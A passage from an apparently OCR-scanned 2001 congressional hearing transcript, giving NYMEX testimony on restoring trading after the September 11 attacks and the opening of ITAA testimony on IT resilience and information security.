ing. The building itself structurally stands, but it’s been so heavily
damaged that it’s basically unusable. Frankly, if we had to get in
there, we probably could have. We could have rescued the hard-
drives which would have held the data had we lost them in our pri-
mary trading facility, or a back-up site that we had offsite in New
Jersey. Fortunately, we didn’t have to do that.
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One of the other things that we learned when we built our new
building in 1997, was that we put back-up generators on the 16th
floor for the eventuality of potentially losing power. In our busi-
ness, of course, in information technology, as these gentlemen say,
the loss of power for us is tragedy. I mean it is the end of the world
from the trading standpoint, because you have to have that contin-
uous flow.

So we had generators installed. In fact, when we lost power, im-
mediately after the building collapsed, our generators kicked in in
spite of the fact that no human beings were around at that time.
I was able, at that time, to communicate throughout the day with
our e-mail systems. They were on the back-up system.

Basic necessities. What do you have to have? Well, the first
thing, the most valuable—and people fought over it in our crisis
center—is this emergency contact list. You’ll see it’s dated as Au-
gust 2001. Little did we know. We update it periodically. This list
has all contact information for all of the board members; home,
cell, everyplace they can be contacted. The same thing with critical
staff, because we were dispersed. I mean, it was chaotic. People
were just driven out of the building. We didn’t know where any-
body was. So we had to use this to begin.

Within 3 hours after the attack, our chairman, Vincent Viola,
began the first of a series of conference calls, emergency board
meetings, because we had to figure out, first of all, how we were
going to approach this. Obviously you have to do damage assess-
ment and recovery. I mean, that’s No. 1 right on the list, is how
do we get back into business?

Mr. HORrN. I take it the line to your computers in New Jersey did
hold up?

Mr. SEETIN. Some did, some did not. We had—actually, we have
two services—oh, in New dJersey. Of course.

Mr. HORN. Right.

Mr. SEETIN. That was not a problem. But I must say that the
communications problem in New York was great, and it wasn’t lim-
ited to that area. We eventually relocated to 50th Street and Madi-
son Avenue as our crisis center. We setup telephone systems there
to provide support for our traders.

We also used our Web site as really the contact point for the staff
and for everybody else to contact us. But, fortunately, when we
were running our trading system from 2:30 to 6 on Friday night,
we didn’t have a problem. But by about 7:30 Friday night, some-
thing went wrong in the switching system. Again, a lot of this is
related to the attack area that we lost incoming traffic on our
phone systems. All of a sudden the phones went dead, and we were
sitting there saying this is not right. We could call out. But when
people would call into us, they would either get a busy signal or
their call would die.

So we had to get the Verizon folks in very quickly. We virtually
changed our exchange numbers right then, which, you know in the
midst of a crisis, of course, what you’re doing is exchanging infor-
mation and telephone numbers with people to have to go back and
replicate that and tell them now the number that they had before
is—you know, is no longer useful. That takes an enormous amount
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of time that you really ought to be spending in getting to the things
that you have to do.

As T said earlier, our board decided, first of all, two stages of re-
covery. We did a quick assessment and we could migrate our com-
puterized trading system, because we had offsite capabilities in
New Jersey. We would migrate that to do an extraordinary daytime
trading system, because in fact the energy markets, as you well
know, within 2 hours after that attack, rose something in the order
of $2 a barrel. Nobody was there. We weren’t there to provide that
window. It was critical. We really felt the pressure, and frankly we
got pressure from the White House and everybody else to get back-
up. We didn’t need that. We felt that ourselves. But in essence, we
decided to convert to this daytime trading system.

We had obstacles as we migrated. The telephones were one, be-
cause we were really managing it from a hotel, but the system
itself was away offsite. The critical part was getting people back
into our building. As you well know, that whole area was shut
down. Nobody could get in there. The only way you could get in
there was with a police escort. So we had to work very closely with
the police and the Federal authorities to get our people in, first of
all, to do the assessment as to what we needed. Really the critical
computer functions in our building that we needed were for clear-
ing, because we guarantee all of the trades. Those trades have to
be processed after theyre done. If you can’t process them, it’s a
very, very difficult situation.

So we used our Web site as a contact. We migrated to the elec-
tronic system. Simultaneous with that was our effort, really, to re-
sume physical trading. For that, we had to go in and do an assess-
ment both environmentally, structurally, fire, security, all of those
issues; because sitting where we were, and obviously, from our ex-
perience before, we viewed ourselves as a potential target even in
recovery. So the authorities were tremendous in providing us very,
very intense and expansive security to allow our people into the
building where we assessed what we needed.

And then really the Herculean part of our effort began. Nobody
was getting any sleep before, but we certainly didn’t once we start-
ed the process of moving people in and out. We called, because
some of the operations were done out of the White House, we had
to call at 2 a.m. to arrange police boats to pick our people up at
7:30, because the only way to get into the building, again, was by
water on the Hudson River. That’s the only way. We were lucky
in that we did have dock and pier facilities right adjacent to the
building. We were able to do that. We got our people in and began
the assessment of what we needed at that stage to begin physical
trading.

After that assessment, the board decided, again given just enor-
mous pressure from around the world and our client base, that we
would begin physical trading at 11 a.m. on Monday. Our normal
starting time with our metals trading, the gold, silver and copper,
starts at 8:30 traditionally. That was our regular starting time.
Our energies begin in a staggered start about 9:35, and they start
in 5-minute increments after that, the reason being the energy
products are related.
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Price of crude oil is related to heating oil and to gasoline, so you
can’t start one without the other. They have a relationship. That
compounds the problem that I'll talk about in future recovery
plans. Our chairman, Vincent Viola, our president, Phil Collins, ba-
sically had backbones of steel, and didn’t get any sleep. We had to
do a lot of things ourselves. We quickly gathered—my role—I start-
ed down here quickly, I got on a train, got to the crisis center, and
because the communication—again, we learned this—has to be cen-
tralized. Well, we were trying to coordinate a lot of the govern-
mental contacts down here. When you’re not in that frenetic activ-
ity, when you’re not in that centralized place, one does not know
a lot of the context of what’s going on. So I had to be there because
I had to know when these guys were having trouble with FEMA
or these guys were having trouble with OEM—the OEM is the Of-
fice of Emergency Management, which is the State and city setup.
Which, by the way, itself was a complicating factor. Remember,
they were in the World Trade Center. The OEM was wiped out, the
very same blast that kicked us out of our building. And their re-
sponsibility, of course, is to help people like us and all of the people
that were affected.

And I must say, Mayor Giuliani did something that I don’t even
believe. A lot of people said we don’t believe you guys got up your-
self and traded by Friday, within 2 days. The first day they had
a number for us to call. They had people to contact. I had my con-
tact, Bill Gross, who was the mayor’s assistant. I could call him
anytime, and I did. He will say that. I will tell you that, you know,
any time of the day or night; the guy did not get any sleep. But
they were there. And they migrated their number. They told us
what the new number was. It went through without a slip.

How they did that, you know—and actually the performance of
the OEM was just remarkable. The State and the city were almost
seamless, with just a few exceptions.

Mr. HORN. That’s the city emergency management group.

Mr. SEETIN. Yes, the city office.

Mr. HORN. Was the State also involved?

Mr. SEETIN. The State was also involved. The State was very
tightly linked with the city. I mean, in fact, we could do a lot of
the same calls. The same people were talking to each other who
were State authorities and city authorities. I will say the only com-
plication we had, and I guess in retrospect, you know, you can
smile about it a little bit, but we had a group of telephone techni-
cians. Now, remember, we had two different systems in our build-
ing. We found out we had AT&T and Verizon, because we have ten-
ants who are trading tenants who basically operate their own busi-
nesses, and they all had the Verizon system which had its own se-
ries of problems. So we were trying to get these people in Thursday
night, Friday night, Saturday night—in to get the phone lines up
and running. We had ours fairly well up by late Friday night inside
of the building.

But one of the problems I had—we got a call back from the
AT&T people that said we got three trucks with technicians that
are stuck at the checkpoint on Canal Street, because that’s where
the stop point was for basically everybody. That was where you
were held up. And these people had police escorts with them. And
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this was the night that the National Guard had been dispatched,
so you know, it was a situation where the National Guard troops,
even though we had a police escort, were not letting us in there.
So it took me 3 hours to get through to the Governor’s office to get
down through the guards. You know, this is the way things oper-
ate.

Once that got through, you know, again, that operated smoothly.
But those are some of the glitches when you have Federal, State,
and military authorities coming in. It is critical that they commu-
nicate with each other, because, you know, those of us that are try-
ing to get up and running, we have enough complications without
having to try to go and get these guys to talk with each other. That
was a very minor problem. And I don’t want to overemphasize it,
because in fact it worked. It worked out very well. I will never criti-
cize any one of those people for what they did.

So we were getting all the support that we could. Several hurdles
that we had to overcome were, of course, if we began trading with
our thousands of people, and we have up to 5,000 people in our
building when we’re up and running trading. There was no way for
them to get to the building over land, by the surface. We are cer-
tainly not going to have NYPD bringing these guys in in police
cars. It’s not going to happen. So we had to find an alternative
route.

And while we were all doing this, another of our directors was
tasked with the fact of working with the New York Waterways.
New York Waterways did dedicate then, because we didn’t really
want to use the police boats. The police were great about ferrying
us, but we also knew there were a lot of other people that needed
this as well. So we met, got the ferry boat and we got authority
then from the officials to basically use that to finalize it for Mon-
day. We basically had a series of ferrys that we leased, that we
rented. And we put together about 14 sites where our people could
gather on the dock, load onto the ferry, and they would be trans-
ported to our facility on Monday morning. That’s one of the reasons
why we had an 11 o’clock opening, because logistically it’s a very
very tough task. We were doing all of this.

Of course, at the same time, we had to get our building cleaned,
according to—and fit for EPA inspection. Obviously the asbestos—
you saw the dust. You saw the horrendous materials there. And I
must tell you, my own experience down there, if hell has a smell,
that was it. The most horrendous, acrid smell of burning and death
and everything else on top of everything else that you have to do.
We were struggling with that. The authorities were working very
hard with us, because we had to have fire inspection, we had to
have the building cleaned. We had to have structural engineers,
OK it. And we had to work with Con Edison as well because we
were off.

The electrical grid was down there, basically, and it was not such
that they could flip a couple of switches and put us back on the
system. The problem there was that the broader base to turn us
on, to put us onto the grid, means that they would have a whole
chunk of Tribeca, and it would be a tremendous drain on their re-
sources given the fact that on the other side of the island the New
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York Stock Exchange was working just as hard as we were to get
up and running and they were in just as much need.

So we tried to work with Con Ed, and we needed back-ups to our
back-up, because we were really now at the situation where our
back-up generators were our sole source of power. So all of that
going into play, we needed to have a certificate—in essence, a cer-
tificate of occupancy, a letter from the OEM Authorities, the city
authorities, that our building was OK to occupy.

We were going ahead with our plans. I finally got that letter at
4 o’clock Sunday afternoon. At that time then we really began to
formalize the final plans for our opening. We locked in the ferries.
We had already been on the Web site and we had an 800 number
to call in our Web site, which really was the critical point of con-
tact, the 800 number. And we——

Mr. HORN. Hopefully, we are going to have staff sit down with
you and other people that have had similar situations and—Dbe-
cause we just can’t do all of the things this morning. But I think
we want to get them.

First of all, I am fascinated by the telephone situation where you
couldn’t get communications in the one direction but you could get
it in the other.

Mr. SEETIN. Yes. And cell phones were another issue. Because
there were certain relay stations taken out, there was a period
when cell phone communication was very, very difficult. In a crisis
like this, that is a very, very important thing, as you know.

It seems like when have you a crisis like this everything happens
at once.

After an exhausting week, Saturday night we were feeling pretty
good about it. I was up in my hotel room finally after about 2 hours
of sleep for the last 4 days. At 11:30, the phone rang as I came out
of the shower; and our chairman was yelling at me to get down
there because, of all things, one of our back-up generators had
sprung a leak in the fuel-line and diesel fuel was spewing on the
16th floor of our building, the same building that we were trying
to recover from.

So I called Inspector Pat Bradley. Now this is the guy who is in
charge of all of the police in lower Manhattan, another guy who
has had less sleep than any of us. He darn near had an accident
while I was talking to him, but within 20 minutes he had a police
car to our building.

Our chairman went down with two technicians to begin the
rehab process; at the same time called the White House, who re-
layed to Con Edison the essential need to get back-up generators.

Before dawn we had one back-up generator onsite. And these are
not the little kind that you have in the back of your car. These are
huge. They are semi-size units. And the Con Ed people had to basi-
cally—it is not a plug-and-play system, either. They had to cut the
system apart and actually weld the interface in, and they did that.

By the end of the day, we had another back-up system; and Con
Ed has been tremendous with that.

The difficulty is, of course, the refueling. Because we went from
our system where our back-up generators were refueled every 4
days to 12-hour increments.
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Anyway, to cut to the chase, basically we are up and running.
We have back-ups to our back-ups. By next Monday we will have
a fully redundant back-up of our computerized trade system, and
it will be some distance away. It will not be located in the New
York City area, and we will be able to basically flip a switch for
a seamless move-in there. God forbid the power loss is that large.
If the power loss is as large as takes that out, then we are all in
trouble.

So I think I am going to try to summarize. I know that there are
many people here that have things to say.

The critical thing we learned, first of all, is that communication
is tantamount. The first thing you need in your crisis plan are the
names, numbers, and ability to get together in the same site, be-
cause you all have to be there. You all have to be there to imple-
ment, because things are chaotic. There is no order to the system.
I mean, we were up and running on Friday, and it sounds like a
miracle. But it is a little bit like the old saying about laws and sau-
sages. Those interested in laws and sausage should not witness the
making of either. We got the sausage of our electronic trading sys-
tem on Friday, but it wasn’t a clean operation.

But we were there. We all had to work together. And the Federal
and State authorities, the police, the firemen—I can’t say enough.
We needed it, and they were there.

And I see Mrs. Maloney there, too.

Mr. HORN. Yes. She is going to ask you a question, and then we
will go to Mr. Miller because she has to leave.

Mr. SEETIN. I just want to close and say one thing that she did
that was so critical. On Monday morning, after all of this, we are
about to open at 11, and I bothered Carolyn’s poor husband—poor
guy was in bed. She was out working already. And Carolyn called
me back and said, you know, do you guys have—are you all set
with grief counselors? And I said, well, you know, I could use one
myself. But, you know, I really wasn’t aware of that. And I said,
well, you know, I will have to talk to you about that later.

As soon as I got to the building—I got into the building at about
5:30 on Monday morning. Our H.R. person comes to me and says,
we can’t get any grief counselors. There is nobody available. I
called Carolyn. In 2 hours we had four grief counselors onsite. And,
you know, that is the type of cooperation that we got, for which we
will be eternally grateful.

[The prepared statement of Mr. Seetin follows:]
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Mr. Chairman, my name is Mark Seetin. I am Vice President for Government
Affairs for the New York Mercantile Exchange ("NYMEX" or the "Exchange"). On
behalf of the Exchange, I want to thank you and all the members of the subcommittee for
the opportunity to participate in today's forum concerning vulnerability of information
technology to attack and preparedness should attack occur.

NYMEX is a Global Energy Marketplace

The New York Mercantile Exchange, (“NYMEX"), established in 1872, is the
world’s largest energy futures exchange. Daily trading volume is 3-5 times world oil
production and 5-7 times North American natural gas production. For the past three
decades, NYMEX, a public, regulated market, has brought transparency, competition and
efficiency to energy markets, and allowed consumers and business the financial tools to
deal with market uncertainty. The transparency of NYMEX prices, and the integrity of
its markets, makes NYMEX a visible and reliable benchmark for energy pricing which is
vital to our economy.

The visible and highly competitive daily bidding of energy futures and options on
the exchange provide a true world reference price for each of the commodities traded.
During the uncertainty and volatility that characterized the world oil markets during the
Persian Gulf War in 1991, NYMEX played a leading role in insuring against financial
adversity through its secure liquid market.

The September 11 Terrorist Attack on the World Trade Center

NYMEZX is located at the World Financial Center, within yards of the tragic
events of September 11. In fact, NYMEX was the first New York exchange to resume
operations, with a trading session on its internet market known as cACCESS™ on Friday,
September 14 from 2:30PM to 6:00PM. After five days of “around the clock™ work to
clean, secure and repair the building, floor trading resumed on September 17th. NYMEX
takes seriously its responsibility as a price indicator for energy, and devoted full effort to
the task of resuming operations.

Were we Prepared?

Given the nature and scope of the September 11 attack, it is difficult to believe
anyone in the financial district had contemplated such an event in the process of disaster
planning. Nevertheless, the Exchange reacted quickly, calling on expetience gained in
the 1993 bombing, at which time we were located in 4 World Trade Center, now crushed
in the rubble of the collapsed buildings. Unfortunately, the building collapse also
damaged our backup computer system located at 22 Cortlandt Street, just across Church
Street from the WTC.

Emergency Response—Basic Necessities

Perhaps the single most valuable item in carrying out our response to the crisis
was the corporate “Emergency Contact List,” which contained telephone, fax, home and
cellular telephone numbers of the Board of Directors and senior staff. Also essential to
the process was the compilation of telephone, fax, e-mail, and cellular contacts in federal
state and local emergency management agencies and law enforcement. The frenstic
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process of preparing to resume business demanded numerous calls to all of those named
agencies on a twenty four hour basis.

Plan Implementation—DBoard and Staff Take Action

Within three hours of the attack and subsequent evacuation of the Exchange
building at One North End Avenue, NYMEX Chairman Vincent Viola conducted the first
of several emergency board meetings via conference call. Subsequently, a “Crisis
Recovery Headquarters™ was established at a mid town Manhattan hotel, from which the
board and staff implemented recovery efforts.

The Plan — Get Back in Business ASAP

As the world’s primary energy futures marketplace, the very events causing our
distress were driving our market participants to press for resumption of trading. After
considering a wide range of alternatives, the board decided to resume energy trading by
Friday, September 14, by utilizing the Exchange’s electronic after-hours trading system,
eACCESS™ for an extraordinary daytime trading session lasting from 2:30 p.m. to 6
p.m. Our electronic trading system had recently been migrated from a closed “frame
relay” system to an internet based trading system. Technical support staff were relocated
to a site in New Jersey, from which the system could be managed. The clearing system
remained in the building powered by back up diesel generators installed when the facility
was constructed in 1997.

The NYMEX website was the central point of contact with the public, trading
firms, and employees. Instructions were posted on the website to inform traders
regarding the special Friday electronic trading session. A customer service center 800
number was posted on the website to provide for more detailed assistance.

Simultaneous with the effort to reopen the marketplace on Friday with our
electronic system was the Herculean effort to clean, restore, inspect and certify the
building in order to resume open-outcry, or “pit” trading at 11:00 a.m., Monday,
September 17. Movement of personnel and equipment was very restricted in the “hot”
zone surrounding the WTC. A police escort and a permit was required to go to and from
our building. Further complicating the process was the need for us to coordinate police
and security escorts for telephone technicians.

In spite of the hurdles mentioned earlier, and many unexpected additional ones
including the Saturday night faiture of a fuel system component in one of the backup
generators at the building, we accomplished our goals and received official approval late
Sunday afternoon to re enter the building for the purposes of resuming business at 11
a.m. Monday. This almost unbelievable accomplishment could not have occurred
without the unwavering determination of NYMEX Chairman Vincent Viola, President J.
Robert “Bo” Collins, a staff of dedicated employees, and a tremendously responsive
governmental emergency infrastructure. The Federal Emergency Management Agency
(FEMA), New York State and City offices of emergency management, law enforcement
agencies, and the military were tireless in their response to our urgent requests. The
White House, governor’s office, mayor’s office and federal and state level elected
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officials were very responsive to our needs. Finally, our regulator, the Commodity
Futures Trading Commission (“CFTC”) was tremendously supportive and cooperative.

What Have We Learned?

Perhaps the most important part of any disaster response plan centers on
communication. It is absolutely essential that you have your resources — including
leadership, staff, and vendors identified, and have the ability to communicate with them.
For a business involving customer service, such as ours, the ability to use our website and
800 numbers to communicate and answer questions was essential. Communication with
governmental emergency authorities and law enforcement and timely assistance from
them in addressing needs is the “third leg” of the communications stool which is required
for any emergency response plan to be effective.

While NYMEX re opened the energy marketplace within days of the disastrous
terrorist attack, full recovery from the events will take time and money. Just a few of the
ongoing obstacles we face include the following:

Transportation—the lack of surface access has limited the commuting of staff and
members of NYMEX to water shuttles and has forced the Exchange to fund this
emergency transportation system. Without the availability of traders to provide liquidity
and volume in the marketplace, it fails to adequately perform its strategic purpose of
price transparency.

Environmental Cleanup-NYMEX has undergone a costly full environmental
cleanup effort.

Utilities—-With the failure of the lower Manhattan electricity grid, NYMEX has
had to obtain and rely upon several layers of backup generation to keep its markets open.
Equipment, fuel, personnel and maintenance cost of backup generation is enormous.

Security-the events of September 11 plus subsequent threats have created new
and unprecedented security demands.

With the eyes of the world focused on the Middle East and with the potential for
military actions in the future, it is absolutely critical that our vital energy markets remain
open and accessible. NYMEX and its members are working diligently to ensure the
continued strength and liquidity of our energy markets, as well as the solidarity and
vitality of the New York conununity and that of the entire United States.

Once again, Mr. Chairman, thank you for the opportunity to appear before your
subcommittee.
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er. HoRrN. Well, she always gets things done right, early and
often.

Mrs. MALONEY. Thank you, Mr. Chairman; and, as a point of per-
sonal privilege, I welcome all of the panelists today, but particu-
larly Mark Seetin. He is a constituent and a friend as vice presi-
dent of government affairs for the New York Mercantile Exchange.
We have worked together closely over the years.

We are all very proud of the Exchange. It is an important ex-
change to our city, to our country. I was personally there, Mr.
Chairman, at the miracle, at the reopening of the New York Mer-
cantile Exchange along with the Governor, the mayor and many
other New Yorkers; and I believe that the reopening of the Ex-
change was symbolic of the efforts up and down Wall Street and
throughout our city and our country.

At the NYMEX, the staff and senior executives worked around
the clock to reopen. They overcame terrible logistical problems,
interruptions in power supplies, and the grieving that is natural
when so many of our industry colleagues perished in the World
Trade Center. The Exchange lost 18 of their employees and many,
many probably hundreds, thousands of their friends in this horrible
accident.

It was impossible to get at the Exchange over the land. It was
roped off. The recovery was taking place. The fire, the police were
all there. And the Exchange literally, probably to this day, brought
in their employees by boat.

Are you still using the boats to bring them in?

Mr. SEETIN. Yes, we still have to use the boats.

Mrs. MALONEY. I think that shows the tremendous spirit of
American free enterprise, of overcoming many, many obstacles to
get open, to get back to work. And even with their great grief and
their great loss, opening up the Exchange, going back. I still don’t
understand how they do it, all of that screaming and yelling, but
you are out there making these exchanges, making these trades
and really investing in the American economy.

I just want to say briefly, very briefly, in this crime against hu-
manity, I am so shaken I can hardly believe it. I think all of us
are, who have been to ground zero, who have seen it, who have met
the families, who know the tremendous personal loss in so, so
many areas.

But to see the spirit come back. The terrorists wanted our mar-
kets to fail. Our markets succeeded. And they wanted our planes
down. Our planes are flying. It is a symbol of our American spirit.
And it is really a way that we can be patriots, to invest in the mar-
ket. It is something that we can control as individuals, our own
faith in our own economy.

Mr. Seetin and his whole team at the New York Mercantile Ex-
change are part of that success story that we are doing right now,
building back America even more strong and determined.

Believe me, I have never seen Congress so determined in my en-
tire life or so united; and we will be there on Monday, touring—
many members are coming on Monday to tour ground zero, and we
will see if we can stop by and meet with you and your many de-
voted employees who are working as we speak to keep our economy
strong.



150

Thank you for your testimony, all of your hard work; and my
condolences on the great loss of many of your friends and col-
leagues.

Mr. SEETIN. Thank you very much, Congresswoman. We very
much appreciate your help and all of the members of the New York
delegation who were so helpful to us.

Mrs. MALONEY. Just so you understand, Mr. Seetin and others,
we are in a hearing on the insurance industry in Financial Serv-
ices. It is the first one on how they are paying the claims, reacting
to the crisis of the individuals; and I need to get back to that. But
I thank you for your testimony, all of you.

Mr. SEETIN. I should be there, too.

Mr. HorN. Well, we thank Mrs. Maloney, the ranking member
here over the years. She is very eloquent, and she speaks for the
Congress.

Mrs. MALONEY. Thank you, Mr. Horn. I have enjoyed working
with you so many times. I regret that you have made a decision
to retire after this term. I think it is a great loss to Congress, to
the constituents you represent. I hope you will reconsider.

Mr. HorN. Well, we will be busy, Carolyn, for the rest of this
year and all of next year. I really appreciate it.

Some of the things you have said, as I say, I want the staff to
go up to New York and talk to some of the similar types of situa-
tions. Because that does worry me on that telephone situation, and
we have got to figure out a way to do it.

A number of us sent a letter to Chairman Powell of the FCC, and
we have asked, on a 911 situation, where you can have an ex-
tended system in some way or an isolated—has various ways to do
it, either on an underground or overground—because—we need to
have these options coming up in the satellite or whatever.

Mr. SEETIN. Those are very important.

One other thing—and I must say it is very important and was
mentioned here—about the scope of the attack and whether com-
puter systems are being scanned. I must say that we had that ex-
perience as we were beta-testing to get up and running. I think
that anybody who is in this business, in information, technology
needs to be aware that there are lots of bad people out there, and
whether or not they are coordinated really doesn’t matter. Because
things like that are going on. We experienced it as we were trying
to recover.

Mr. HoOrN. Well, thank you very much.

We now go to the last presenter.

Harris Miller is president of the Information Technology Associa-
tion of America. He has been a long-time witness with this sub-
committee, and we are very grateful to him. He has a professional,
wonderful group; and he can reach out throughout America to give
us witnesses and everything else. So, Mr. Miller, thanks for all you
have done. We now get to you.

STATEMENT OF HARRIS MILLER, PRESIDENT, INFORMATION
TECHNOLOGY ASSOCIATION OF AMERICA

Mr. MILLER. Well, thank you, Chairman Horn.
I fear what I have to say following Mr. Seetin’s very dramatic
form of testifying may seem somewhat banal, but I still will pro-
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ceed; and I also want to echo Congresswoman Maloney’s comments
about our regrets about your decision to leave Congress at the end
of your term. You have been a great friend to the IT community
and a great overseer on issues like Y2K and information security.
But, knowing you as I do, I know you will work right up through
January 3, 2003, to the end of your term on all of these issues. So
I am sure we will be seeing a lot more of each other.

In terms of the issues today, I would like to focus on the impor-
tance of IT generally to what happened on September 11th and
subsequent events. I would like to offer insights regarding both dis-
aster recovery and critical infrastructure protection.

The United States has made a huge investment in information
technology in dollars, intellectual capital and in public confidence.
Even before the fearful dust cloud settled over lower Manhattan,
the Pentagon, and the field in southwestern Pennsylvania, our na-
tional investment began to payoff.

That is my main message to you this morning. Allow me to reit-
erate it. The Nation’s IT investment paidoff.

In the midst of disaster, the IT industry, a complex web of peo-
ple, technology, products and services, responded brilliantly. The IT
industry and the customers it supports absorbed the blow and
came back strong. Voice data and video communications have been
critically important in helping us to understand the scope of the
disaster, directing relief efforts and locating missing people.

The Internet provided literally millions of people with an alter-
native route around clogged or destroyed New York circuits, provid-
ing a frantic public with critical services for finding loved ones,
services like e-mail, instant messaging, and voice-over-the-Internet
phone calls.

According to a public opinion poll conducted by Harris Inter-
active just after the World Trade Center bombing, 64 percent of
people on-line used the Internet as a source of information.

As a political scientist, Mr. Chairman, you understand how im-
portant communications are to maintaining the fabric of society;
and clearly the Internet helped to strengthen the fabric of the
American community during some of the most critical hours in our
Nation’s history.

While the recovery operations at ground zero and the Pentagon
made us all proud, a less visible but very important series of activi-
ties has taken place to sustain the operational integrity of busi-
nesses damaged in the attacks. Many well-managed companies
built themselves up a safety net by contacting disaster recovery
firms for data back-up and remote operations support.

In fact, business continuity planning may be the bright line be-
tween companies that emerge from disasters with a future and
those that do that. A business continuity plan identifies the mis-
sion-critical processes and applications of the company as well as
its interdependencies, both inside and outside of the enterprise,
necessary to support such functions.

As you know quite well, Mr. Chairman, from your work under
Y2K, much of the contingency planning that prepared organiza-
tions to face Y2K apparently helped them to survive this latest dis-
aster.



152

The IT industry has also demonstrated its heart in the aftermath
of these horrendous attacks. For instance, several leading compa-
nies responded to the attacks by creating www.libertyunites.com, a
Web site committed to providing convenient access to philanthropic
organizations helping America recover from this tragedy.

Libertyunite.com, which President Bush mentioned in his elo-
quent address to the Nation last week, has collected well over $80
million in public contributions to date to help the victims and to
help in the recovery process. This is just one example of the cre-
ativity and generosity of IT companies and the utility of the Inter-
net in aggregating support and building community, an example of
the on-line community at its best.

But, going forward, we dare not let down our guard to terrorism
ever again. So what do we do?

Well, homeland defense is a phrase which we are just beginning
to understand. Many people are unsure about what it means and
how they can participate. To focus just on the cyberaspects, I would
like to suggest an immediate action. We need to safeguard U.S.
computer assets by adopting much more widely sound information
security practices.

We have heard from Mr. Willemssen the shortcomings that con-
tinue to exist in the government systems. And, unfortunately, we
know the private sector also has its own shortcomings. Practicing
information security as part of homeland defense will pay massive
dividends in the future.

In my written statement I have identified a series of information
security steps for home users, small businesses and larger firms.

I would also like to talk for a minute about a silver lining part
of the Nimda worm that you heard about earlier from the other
witnesses. While we are far from a perfect system, I would like to
report to the subcommittee that both under the Code Red and
under the Nimda there was a massive coming together of govern-
ment, not-for-profit organizations and for-profit companies to try to
deal with the attack.

I particularly want to pay tribute to National Security Council of-
ficial Marjorie Gilbert, who pulled together massive numbers of
people on interminable, it seems, conference calls last week involv-
ing all of the organizations of the government, the NIPC, Defense
Department, the Central Intelligence Agency, the Energy Depart-
ment, organizations like Mr. Pethia’s organization, CERT, many of
the leading anti-virus companies, many of my member companies,
other industries, the IT, ISAC—the financial services ISAC, and a
massive undertaking to understand and deal with it.

Was it a perfect system? No. But, for the first time, I think we
are finally seeing what true government private sector cooperation
means. We learned some lessons last week, and Ms. Gilbert and
the other people working on that are now coming up with better
systems to be able to respond even more effectively under the next
attacks. Because Mr. Vatis is certainly correct. We have not seen
the last of these attacks, and being able to prepare is right.

But I think, Mr. Chairman, you should be proud that we are
moving forward. I would be glad to brief your staff at some point
on my impressions of how we saw some major progress the last few
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weeks, and I think we are going to see even more progress going
forward.

Let me talk about a couple of things that I hope will not happen
in response to the attacks we have seen. There has been some dis-
cussion about rolling back the policy on encryption. I think that
would be a mistake, and I hope that we will not do it.

I also believe we must move ahead quickly with the efforts that
are already under way to better coordinate within the government.
As you know, Mr. Chairman, under the leadership of Dr. Rice, the
National Security Council has been developing a revised Executive
order to better coordinate cybersecurity within the government.
The exact status of that is unclear with the announcement of Gov-
ernor Ridge’s appointment. But, whatever happens, we need to
move forward with that coordination in a very rapid fashion.

We also must stay the course on our technology agenda. For ex-
ample, we need to continue to focus on the issue of broadband.
Telecommunications and broadband service were very important
during the actual response to this crisis. They will become even
more important moving forward.

Finally, Mr. Chairman, I want to object in the strongest possible
terms to some allegations made in a Washington Post op-ed piece
by John Podesta, the former Clinton White House chief of staff,
last week where he said that the IT community does not under-
stand the importance of societal safety and security. As one who
worked personally with President Clinton and Attorney General
Reno and others under the Clinton administration, I know that is
not true. The IT community focuses very clearly on safety and se-
curity.

I worked very closely with Mr. Vatis, for example, when he head-
ed the NIPC.

If anything, the relationship between the IT community and the
government has even strengthened during this crisis that we face,
first with the Code Red virus and, of course, the horrible physical
attacks that occurred on the World Trade Center and the Pentagon
and southwestern Pennsylvania.

So I say that close collaboration is under way. We are doing it
much more every day. The IT community stands ready to work
closely with our law enforcement community, our national security
community to not only try to head off any kind of cyber attacks,
to help deal with physical threats, but also, when these attacks
occur, to make sure that the perpetrators are tracked down.

On September 11th, we all learned an important lesson about
the capacity of terrorists to practice evil. In the aftermath we
learned an important lesson about this Nation’s incredible ability
to pull together in the face of adversity. For those listening closely
enough during this truly terrible time, another lesson still, the IT
industry works.

Thank you very much, Mr. Chairman.

Mr. HORN. Thank you for that very fine overlook.

[The prepared statement of Mr. Miller follows:]
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Introduction

Good morning Mr. Chairman and Members of the Subcommittee. On behalf of the more
than 500 member companies of the Information Technology Association of America
(ITAA), T am proud to appear before you today. ITAA members, representing the
broadest possible spectrum of information technology companies, share the common
view that IT is absolutely essential to a free and prosperous America, now and in the
future. IT is also critical to democratic principles and open markets around the globe. I
am honored to be able to offer a few thoughts about the uses of IT during times of
national crisis and how it can be utilized for both disaster recovery efforts and critical
infrastructure protection now and in the future.

We have all heard it said that the vicious, spiteful and cowardly attacks of September 11
have changed our nation forever. Perhaps that is so. A network of fanatics, completely
devoid of moral code or civilized creed, destroyed both lives and property on a grand
scale.

In the space of an hour, they also destroyed over 200 years of American peace of mind.

T very much hope that tension and suspicion are not the new price of a free society. The
immediate lessons of this tragic matter are, however, clear to every citizen:

Terrorists can plant bombs or fly airplanes into buildings. Terrorists cannot change the
way Americans feel about their country, liberty, or democracy. Neither can terrorists
undermine the determination of the America to be a great nation and, when attacked, to
act as a great nation. - Nor can terrorists weaken the resolve of the American people to
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pull together in a crisis, using innovation and ingenuity to solve their most difficult and
dangerous problems. The community fabric of America remains strong.

Tt is to this third aspect of our national character that I would like to direct my remarks
this morning. The American people are designers and builders for the future.
Americans believe in high technology, and that is why we are the largest customer in the
$2.5 tillion global information and communications technology marketplace. We
understand that a vibrant, competitive information technology marketplace is critical to
our economic well-being. We realize that through information technology, reasonable
access to knowledge is quickly becoming the birthright of every American.

The U.S. has made an investment in information technology, in dollars, in intellectual

_ capital and in public confidence. We have embraced IT and incorporated its products and
services into our everyday lives. Even before the fearful dust cloud settled over lower
Manhattan, the Pentagon, and the field in Southwestern Pennsylvania, our national
investment began to pay off. :

This is my main message to you this morning so allow me to reiterate it: The nation’s IT
investment paid off.

Information technology took a huge hit on September 11. In fact, many IT professionals
died or have been listed as missing in the attacks, including management and technical
professionals from Akamai, Accenture, BEA Systems, Cisco Systems, Compag,
Metrocall, SAIC, Wipro, Oracle, Sun and Verizon. Our hearts and prayers go out to the
families of all those killed and injured in this travesty. Much of the destruction consisted
of property, including computers, software and data. One estimate places losses in IT
resources by the financial community alone at $3.2 billion. Morgan Stanley estimates
losses of IT hardware, restoration of services, long-term IT costs to enterprises and
annual World Trade Center IT spending at over $25 billion.'

In the midst of disaster, this industry--a complex web of people, technology, products and
